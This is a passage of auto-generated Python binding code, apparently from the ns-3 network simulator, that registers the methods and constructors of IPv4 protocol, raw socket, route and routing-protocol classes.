## ipv4-l3-protocol.h (module 'internet'): uint32_t ns3::Ipv4L3Protocol::GetNAddresses(uint32_t interface) const [member function]
cls.add_method('GetNAddresses',
'uint32_t',
[param('uint32_t', 'interface')],
is_const=True, is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): uint32_t ns3::Ipv4L3Protocol::GetNInterfaces() const [member function]
cls.add_method('GetNInterfaces',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv4L3Protocol::GetNetDevice(uint32_t i) [member function]
cls.add_method('GetNetDevice',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'i')],
is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Ipv4L4Protocol> ns3::Ipv4L3Protocol::GetProtocol(int protocolNumber) const [member function]
cls.add_method('GetProtocol',
'ns3::Ptr< ns3::Ipv4L4Protocol >',
[param('int', 'protocolNumber')],
is_const=True)
## ipv4-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Ipv4RoutingProtocol> ns3::Ipv4L3Protocol::GetRoutingProtocol() const [member function]
cls.add_method('GetRoutingProtocol',
'ns3::Ptr< ns3::Ipv4RoutingProtocol >',
[],
is_const=True, is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): static ns3::TypeId ns3::Ipv4L3Protocol::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::Insert(ns3::Ptr<ns3::Ipv4L4Protocol> protocol) [member function]
cls.add_method('Insert',
'void',
[param('ns3::Ptr< ns3::Ipv4L4Protocol >', 'protocol')],
is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::IsDestinationAddress(ns3::Ipv4Address address, uint32_t iif) const [member function]
cls.add_method('IsDestinationAddress',
'bool',
[param('ns3::Ipv4Address', 'address'), param('uint32_t', 'iif')],
is_const=True, is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::IsForwarding(uint32_t i) const [member function]
cls.add_method('IsForwarding',
'bool',
[param('uint32_t', 'i')],
is_const=True, is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::IsUp(uint32_t i) const [member function]
cls.add_method('IsUp',
'bool',
[param('uint32_t', 'i')],
is_const=True, is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::Receive(ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<const ns3::Packet> p, uint16_t protocol, ns3::Address const & from, ns3::Address const & to, ns3::NetDevice::PacketType packetType) [member function]
cls.add_method('Receive',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::Packet const >', 'p'), param('uint16_t', 'protocol'), param('ns3::Address const &', 'from'), param('ns3::Address const &', 'to'), param('ns3::NetDevice::PacketType', 'packetType')])
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::Remove(ns3::Ptr<ns3::Ipv4L4Protocol> protocol) [member function]
cls.add_method('Remove',
'void',
[param('ns3::Ptr< ns3::Ipv4L4Protocol >', 'protocol')])
## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::RemoveAddress(uint32_t interfaceIndex, uint32_t addressIndex) [member function]
cls.add_method('RemoveAddress',
'bool',
[param('uint32_t', 'interfaceIndex'), param('uint32_t', 'addressIndex')],
is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4L3Protocol::SelectSourceAddress(ns3::Ptr<const ns3::NetDevice> device, ns3::Ipv4Address dst, ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e scope) [member function]
cls.add_method('SelectSourceAddress',
'ns3::Ipv4Address',
[param('ns3::Ptr< ns3::NetDevice const >', 'device'), param('ns3::Ipv4Address', 'dst'), param('ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e', 'scope')],
is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::Send(ns3::Ptr<ns3::Packet> packet, ns3::Ipv4Address source, ns3::Ipv4Address destination, uint8_t protocol, ns3::Ptr<ns3::Ipv4Route> route) [member function]
cls.add_method('Send',
'void',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv4Address', 'source'), param('ns3::Ipv4Address', 'destination'), param('uint8_t', 'protocol'), param('ns3::Ptr< ns3::Ipv4Route >', 'route')],
is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SendWithHeader(ns3::Ptr<ns3::Packet> packet, ns3::Ipv4Header ipHeader, ns3::Ptr<ns3::Ipv4Route> route) [member function]
cls.add_method('SendWithHeader',
'void',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv4Header', 'ipHeader'), param('ns3::Ptr< ns3::Ipv4Route >', 'route')])
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetDefaultTtl(uint8_t ttl) [member function]
cls.add_method('SetDefaultTtl',
'void',
[param('uint8_t', 'ttl')])
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetDown(uint32_t i) [member function]
cls.add_method('SetDown',
'void',
[param('uint32_t', 'i')],
is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetForwarding(uint32_t i, bool val) [member function]
cls.add_method('SetForwarding',
'void',
[param('uint32_t', 'i'), param('bool', 'val')],
is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetMetric(uint32_t i, uint16_t metric) [member function]
cls.add_method('SetMetric',
'void',
[param('uint32_t', 'i'), param('uint16_t', 'metric')],
is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetRoutingProtocol(ns3::Ptr<ns3::Ipv4RoutingProtocol> routingProtocol) [member function]
cls.add_method('SetRoutingProtocol',
'void',
[param('ns3::Ptr< ns3::Ipv4RoutingProtocol >', 'routingProtocol')],
is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetUp(uint32_t i) [member function]
cls.add_method('SetUp',
'void',
[param('uint32_t', 'i')],
is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4L3Protocol::PROT_NUMBER [variable]
cls.add_static_attribute('PROT_NUMBER', 'uint16_t const', is_const=True)
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::NotifyNewAggregate() [member function]
cls.add_method('NotifyNewAggregate',
'void',
[],
visibility='protected', is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::GetIpForward() const [member function]
cls.add_method('GetIpForward',
'bool',
[],
is_const=True, visibility='private', is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::GetWeakEsModel() const [member function]
cls.add_method('GetWeakEsModel',
'bool',
[],
is_const=True, visibility='private', is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetIpForward(bool forward) [member function]
cls.add_method('SetIpForward',
'void',
[param('bool', 'forward')],
visibility='private', is_virtual=True)
## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetWeakEsModel(bool model) [member function]
cls.add_method('SetWeakEsModel',
'void',
[param('bool', 'model')],
visibility='private', is_virtual=True)
return
def register_Ns3Ipv4L4Protocol_methods(root_module, cls):
## ipv4-l4-protocol.h (module 'internet'): ns3::Ipv4L4Protocol::Ipv4L4Protocol() [constructor]
cls.add_constructor([])
## ipv4-l4-protocol.h (module 'internet'): ns3::Ipv4L4Protocol::Ipv4L4Protocol(ns3::Ipv4L4Protocol const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4L4Protocol const &', 'arg0')])
## ipv4-l4-protocol.h (module 'internet'): ns3::Callback<void, ns3::Ptr<ns3::Packet>, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr<ns3::Ipv4Route>, ns3::empty, ns3::empty, ns3::empty, ns3::empty> ns3::Ipv4L4Protocol::GetDownTarget() const [member function]
cls.add_method('GetDownTarget',
'ns3::Callback< void, ns3::Ptr< ns3::Packet >, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr< ns3::Ipv4Route >, ns3::empty, ns3::empty, ns3::empty, ns3::empty >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4-l4-protocol.h (module 'internet'): int ns3::Ipv4L4Protocol::GetProtocolNumber() const [member function]
cls.add_method('GetProtocolNumber',
'int',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4-l4-protocol.h (module 'internet'): static ns3::TypeId ns3::Ipv4L4Protocol::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv4-l4-protocol.h (module 'internet'): ns3::Ipv4L4Protocol::RxStatus ns3::Ipv4L4Protocol::Receive(ns3::Ptr<ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<ns3::Ipv4Interface> incomingInterface) [member function]
cls.add_method('Receive',
'ns3::Ipv4L4Protocol::RxStatus',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::Ipv4Interface >', 'incomingInterface')],
is_pure_virtual=True, is_virtual=True)
## ipv4-l4-protocol.h (module 'internet'): void ns3::Ipv4L4Protocol::ReceiveIcmp(ns3::Ipv4Address icmpSource, uint8_t icmpTtl, uint8_t icmpType, uint8_t icmpCode, uint32_t icmpInfo, ns3::Ipv4Address payloadSource, ns3::Ipv4Address payloadDestination, uint8_t const * payload) [member function]
cls.add_method('ReceiveIcmp',
'void',
[param('ns3::Ipv4Address', 'icmpSource'), param('uint8_t', 'icmpTtl'), param('uint8_t', 'icmpType'), param('uint8_t', 'icmpCode'), param('uint32_t', 'icmpInfo'), param('ns3::Ipv4Address', 'payloadSource'), param('ns3::Ipv4Address', 'payloadDestination'), param('uint8_t const *', 'payload')],
is_virtual=True)
## ipv4-l4-protocol.h (module 'internet'): void ns3::Ipv4L4Protocol::SetDownTarget(ns3::Callback<void, ns3::Ptr<ns3::Packet>, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr<ns3::Ipv4Route>, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetDownTarget',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Packet >, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr< ns3::Ipv4Route >, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3Ipv4MaskChecker_methods(root_module, cls):
## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker::Ipv4MaskChecker() [constructor]
cls.add_constructor([])
## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker::Ipv4MaskChecker(ns3::Ipv4MaskChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4MaskChecker const &', 'arg0')])
return
def register_Ns3Ipv4MaskValue_methods(root_module, cls):
## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue::Ipv4MaskValue() [constructor]
cls.add_constructor([])
## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue::Ipv4MaskValue(ns3::Ipv4MaskValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4MaskValue const &', 'arg0')])
## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue::Ipv4MaskValue(ns3::Ipv4Mask const & value) [constructor]
cls.add_constructor([param('ns3::Ipv4Mask const &', 'value')])
## ipv4-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv4MaskValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4MaskValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## ipv4-address.h (module 'network'): ns3::Ipv4Mask ns3::Ipv4MaskValue::Get() const [member function]
cls.add_method('Get',
'ns3::Ipv4Mask',
[],
is_const=True)
## ipv4-address.h (module 'network'): std::string ns3::Ipv4MaskValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4MaskValue::Set(ns3::Ipv4Mask const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Ipv4Mask const &', 'value')])
return
def register_Ns3Ipv4MulticastRoute_methods(root_module, cls):
## ipv4-route.h (module 'internet'): ns3::Ipv4MulticastRoute::Ipv4MulticastRoute(ns3::Ipv4MulticastRoute const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4MulticastRoute const &', 'arg0')])
## ipv4-route.h (module 'internet'): ns3::Ipv4MulticastRoute::Ipv4MulticastRoute() [constructor]
cls.add_constructor([])
## ipv4-route.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4MulticastRoute::GetGroup() const [member function]
cls.add_method('GetGroup',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-route.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4MulticastRoute::GetOrigin() const [member function]
cls.add_method('GetOrigin',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-route.h (module 'internet'): uint32_t ns3::Ipv4MulticastRoute::GetOutputTtl(uint32_t oif) [member function]
cls.add_method('GetOutputTtl',
'uint32_t',
[param('uint32_t', 'oif')],
deprecated=True)
## ipv4-route.h (module 'internet'): std::map<unsigned int, unsigned int, std::less<unsigned int>, std::allocator<std::pair<unsigned int const, unsigned int> > > ns3::Ipv4MulticastRoute::GetOutputTtlMap() const [member function]
cls.add_method('GetOutputTtlMap',
'std::map< unsigned int, unsigned int >',
[],
is_const=True)
## ipv4-route.h (module 'internet'): uint32_t ns3::Ipv4MulticastRoute::GetParent() const [member function]
cls.add_method('GetParent',
'uint32_t',
[],
is_const=True)
## ipv4-route.h (module 'internet'): void ns3::Ipv4MulticastRoute::SetGroup(ns3::Ipv4Address const group) [member function]
cls.add_method('SetGroup',
'void',
[param('ns3::Ipv4Address const', 'group')])
## ipv4-route.h (module 'internet'): void ns3::Ipv4MulticastRoute::SetOrigin(ns3::Ipv4Address const origin) [member function]
cls.add_method('SetOrigin',
'void',
[param('ns3::Ipv4Address const', 'origin')])
## ipv4-route.h (module 'internet'): void ns3::Ipv4MulticastRoute::SetOutputTtl(uint32_t oif, uint32_t ttl) [member function]
cls.add_method('SetOutputTtl',
'void',
[param('uint32_t', 'oif'), param('uint32_t', 'ttl')])
## ipv4-route.h (module 'internet'): void ns3::Ipv4MulticastRoute::SetParent(uint32_t iif) [member function]
cls.add_method('SetParent',
'void',
[param('uint32_t', 'iif')])
## ipv4-route.h (module 'internet'): ns3::Ipv4MulticastRoute::MAX_INTERFACES [variable]
cls.add_static_attribute('MAX_INTERFACES', 'uint32_t const', is_const=True)
## ipv4-route.h (module 'internet'): ns3::Ipv4MulticastRoute::MAX_TTL [variable]
cls.add_static_attribute('MAX_TTL', 'uint32_t const', is_const=True)
return
def register_Ns3Ipv4RawSocketFactory_methods(root_module, cls):
## ipv4-raw-socket-factory.h (module 'internet'): ns3::Ipv4RawSocketFactory::Ipv4RawSocketFactory() [constructor]
cls.add_constructor([])
## ipv4-raw-socket-factory.h (module 'internet'): ns3::Ipv4RawSocketFactory::Ipv4RawSocketFactory(ns3::Ipv4RawSocketFactory const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4RawSocketFactory const &', 'arg0')])
## ipv4-raw-socket-factory.h (module 'internet'): static ns3::TypeId ns3::Ipv4RawSocketFactory::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
return
def register_Ns3Ipv4RawSocketImpl_methods(root_module, cls):
## ipv4-raw-socket-impl.h (module 'internet'): ns3::Ipv4RawSocketImpl::Ipv4RawSocketImpl(ns3::Ipv4RawSocketImpl const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4RawSocketImpl const &', 'arg0')])
## ipv4-raw-socket-impl.h (module 'internet'): ns3::Ipv4RawSocketImpl::Ipv4RawSocketImpl() [constructor]
cls.add_constructor([])
## ipv4-raw-socket-impl.h (module 'internet'): int ns3::Ipv4RawSocketImpl::Bind(ns3::Address const & address) [member function]
cls.add_method('Bind',
'int',
[param('ns3::Address const &', 'address')],
is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): int ns3::Ipv4RawSocketImpl::Bind() [member function]
cls.add_method('Bind',
'int',
[],
is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): int ns3::Ipv4RawSocketImpl::Close() [member function]
cls.add_method('Close',
'int',
[],
is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): int ns3::Ipv4RawSocketImpl::Connect(ns3::Address const & address) [member function]
cls.add_method('Connect',
'int',
[param('ns3::Address const &', 'address')],
is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): bool ns3::Ipv4RawSocketImpl::ForwardUp(ns3::Ptr<const ns3::Packet> p, ns3::Ipv4Header ipHeader, ns3::Ptr<ns3::Ipv4Interface> incomingInterface) [member function]
cls.add_method('ForwardUp',
'bool',
[param('ns3::Ptr< ns3::Packet const >', 'p'), param('ns3::Ipv4Header', 'ipHeader'), param('ns3::Ptr< ns3::Ipv4Interface >', 'incomingInterface')])
## ipv4-raw-socket-impl.h (module 'internet'): bool ns3::Ipv4RawSocketImpl::GetAllowBroadcast() const [member function]
cls.add_method('GetAllowBroadcast',
'bool',
[],
is_const=True, is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): ns3::Socket::SocketErrno ns3::Ipv4RawSocketImpl::GetErrno() const [member function]
cls.add_method('GetErrno',
'ns3::Socket::SocketErrno',
[],
is_const=True, is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): ns3::Ptr<ns3::Node> ns3::Ipv4RawSocketImpl::GetNode() const [member function]
cls.add_method('GetNode',
'ns3::Ptr< ns3::Node >',
[],
is_const=True, is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): uint32_t ns3::Ipv4RawSocketImpl::GetRxAvailable() const [member function]
cls.add_method('GetRxAvailable',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): int ns3::Ipv4RawSocketImpl::GetSockName(ns3::Address & address) const [member function]
cls.add_method('GetSockName',
'int',
[param('ns3::Address &', 'address')],
is_const=True, is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): ns3::Socket::SocketType ns3::Ipv4RawSocketImpl::GetSocketType() const [member function]
cls.add_method('GetSocketType',
'ns3::Socket::SocketType',
[],
is_const=True, is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): uint32_t ns3::Ipv4RawSocketImpl::GetTxAvailable() const [member function]
cls.add_method('GetTxAvailable',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): static ns3::TypeId ns3::Ipv4RawSocketImpl::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv4-raw-socket-impl.h (module 'internet'): int ns3::Ipv4RawSocketImpl::Listen() [member function]
cls.add_method('Listen',
'int',
[],
is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): ns3::Ptr<ns3::Packet> ns3::Ipv4RawSocketImpl::Recv(uint32_t maxSize, uint32_t flags) [member function]
cls.add_method('Recv',
'ns3::Ptr< ns3::Packet >',
[param('uint32_t', 'maxSize'), param('uint32_t', 'flags')],
is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): ns3::Ptr<ns3::Packet> ns3::Ipv4RawSocketImpl::RecvFrom(uint32_t maxSize, uint32_t flags, ns3::Address & fromAddress) [member function]
cls.add_method('RecvFrom',
'ns3::Ptr< ns3::Packet >',
[param('uint32_t', 'maxSize'), param('uint32_t', 'flags'), param('ns3::Address &', 'fromAddress')],
is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): int ns3::Ipv4RawSocketImpl::Send(ns3::Ptr<ns3::Packet> p, uint32_t flags) [member function]
cls.add_method('Send',
'int',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('uint32_t', 'flags')],
is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): int ns3::Ipv4RawSocketImpl::SendTo(ns3::Ptr<ns3::Packet> p, uint32_t flags, ns3::Address const & toAddress) [member function]
cls.add_method('SendTo',
'int',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('uint32_t', 'flags'), param('ns3::Address const &', 'toAddress')],
is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): bool ns3::Ipv4RawSocketImpl::SetAllowBroadcast(bool allowBroadcast) [member function]
cls.add_method('SetAllowBroadcast',
'bool',
[param('bool', 'allowBroadcast')],
is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): void ns3::Ipv4RawSocketImpl::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## ipv4-raw-socket-impl.h (module 'internet'): void ns3::Ipv4RawSocketImpl::SetProtocol(uint16_t protocol) [member function]
cls.add_method('SetProtocol',
'void',
[param('uint16_t', 'protocol')])
## ipv4-raw-socket-impl.h (module 'internet'): int ns3::Ipv4RawSocketImpl::ShutdownRecv() [member function]
cls.add_method('ShutdownRecv',
'int',
[],
is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): int ns3::Ipv4RawSocketImpl::ShutdownSend() [member function]
cls.add_method('ShutdownSend',
'int',
[],
is_virtual=True)
## ipv4-raw-socket-impl.h (module 'internet'): void ns3::Ipv4RawSocketImpl::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3Ipv4Route_methods(root_module, cls):
cls.add_output_stream_operator()
## ipv4-route.h (module 'internet'): ns3::Ipv4Route::Ipv4Route(ns3::Ipv4Route const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4Route const &', 'arg0')])
## ipv4-route.h (module 'internet'): ns3::Ipv4Route::Ipv4Route() [constructor]
cls.add_constructor([])
## ipv4-route.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4Route::GetDestination() const [member function]
cls.add_method('GetDestination',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-route.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4Route::GetGateway() const [member function]
cls.add_method('GetGateway',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-route.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv4Route::GetOutputDevice() const [member function]
cls.add_method('GetOutputDevice',
'ns3::Ptr< ns3::NetDevice >',
[],
is_const=True)
## ipv4-route.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4Route::GetSource() const [member function]
cls.add_method('GetSource',
'ns3::Ipv4Address',
[],
is_const=True)
## ipv4-route.h (module 'internet'): void ns3::Ipv4Route::SetDestination(ns3::Ipv4Address dest) [member function]
cls.add_method('SetDestination',
'void',
[param('ns3::Ipv4Address', 'dest')])
## ipv4-route.h (module 'internet'): void ns3::Ipv4Route::SetGateway(ns3::Ipv4Address gw) [member function]
cls.add_method('SetGateway',
'void',
[param('ns3::Ipv4Address', 'gw')])
## ipv4-route.h (module 'internet'): void ns3::Ipv4Route::SetOutputDevice(ns3::Ptr<ns3::NetDevice> outputDevice) [member function]
cls.add_method('SetOutputDevice',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'outputDevice')])
## ipv4-route.h (module 'internet'): void ns3::Ipv4Route::SetSource(ns3::Ipv4Address src) [member function]
cls.add_method('SetSource',
'void',
[param('ns3::Ipv4Address', 'src')])
return
def register_Ns3Ipv4RoutingProtocol_methods(root_module, cls):
## ipv4-routing-protocol.h (module 'internet'): ns3::Ipv4RoutingProtocol::Ipv4RoutingProtocol() [constructor]
cls.add_constructor([])
## ipv4-routing-protocol.h (module 'internet'): ns3::Ipv4RoutingProtocol::Ipv4RoutingProtocol(ns3::Ipv4RoutingProtocol const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4RoutingProtocol const &', 'arg0')])
## ipv4-routing-protocol.h (module 'internet'): static ns3::TypeId ns3::Ipv4RoutingProtocol::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv4-routing-protocol.h (module 'internet'): void ns3::Ipv4RoutingProtocol::NotifyAddAddress(uint32_t interface, ns3::Ipv4InterfaceAddress address) [member function]
cls.add_method('NotifyAddAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv4InterfaceAddress', 'address')],
is_pure_virtual=True, is_virtual=True)
## ipv4-routing-protocol.h (module 'internet'): void ns3::Ipv4RoutingProtocol::NotifyInterfaceDown(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceDown',
'void',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_virtual=True)
## ipv4-routing-protocol.h (module 'internet'): void ns3::Ipv4RoutingProtocol::NotifyInterfaceUp(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceUp',
'void',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_virtual=True)
## ipv4-routing-protocol.h (module 'internet'): void ns3::Ipv4RoutingProtocol::NotifyRemoveAddress(uint32_t interface, ns3::Ipv4InterfaceAddress address) [member function]
cls.add_method('NotifyRemoveAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv4InterfaceAddress', 'address')],
is_pure_virtual=True, is_virtual=True)
## ipv4-routing-protocol.h (module 'internet'): void ns3::Ipv4RoutingProtocol::PrintRoutingTable(ns3::Ptr<ns3::OutputStreamWrapper> stream) const [member function]
cls.add_method('PrintRoutingTable',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv4-routing-protocol.h (module 'internet'): bool ns3::Ipv4RoutingProtocol::RouteInput(ns3::Ptr<const ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<const ns3::NetDevice> idev, ns3::Callback<void,ns3::Ptr<ns3::Ipv4Route>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ucb, ns3::Callback<void,ns3::Ptr<ns3::Ipv4MulticastRoute>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> mcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,unsigned int,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> lcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::Socket::SocketErrno,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ecb) [member function]
cls.add_method('RouteInput',
'bool',
[param('ns3::Ptr< ns3::Packet const >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice const >', 'idev'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv4Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ucb'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv4MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'mcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'lcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ecb')],
is_pure_virtual=True, is_virtual=True)
## ipv4-routing-protocol.h (module 'internet'): ns3::Ptr<ns3::Ipv4Route> ns3::Ipv4RoutingProtocol::RouteOutput(ns3::Ptr<ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<ns3::NetDevice> oif, ns3::Socket::SocketErrno & sockerr) [member function]
cls.add_method('RouteOutput',
'ns3::Ptr< ns3::Ipv4Route >',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice >', 'oif'), param('ns3::Socket::SocketErrno &', 'sockerr')],
is_pure_virtual=True, is_virtual=True)
